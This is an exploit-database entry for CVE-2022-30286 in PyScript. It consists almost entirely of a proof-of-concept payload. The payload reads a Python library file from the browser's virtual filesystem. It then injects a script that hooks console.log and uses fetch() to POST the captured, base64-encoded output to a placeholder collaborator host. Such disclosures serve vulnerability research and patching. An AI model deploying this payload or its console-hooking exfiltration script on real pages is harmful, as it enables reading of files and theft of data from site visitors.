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PyScript - Read Remote Python Source Code Vulnerability
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# Exploit Title: PyScript Remote Emscripten VMemory Python libraries Source Codes Read # Exploit Author: Momen Eldawakhly (Cyber Guy) # Vendor Homepage: https://pyscript.net/ # Software Link: https://github.com/pyscript/pyscript # Version: 2022-05-04-Alpha # Tested on: Ubuntu Apache Server # CVE : CVE-2022-30286 <py-script> x = "CyberGuy" if x == "CyberGuy": with open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read() print(contents) print('<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch("http://YOURburpcollaborator.net/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>') </py-script> # 0day.today [2024-06-28] #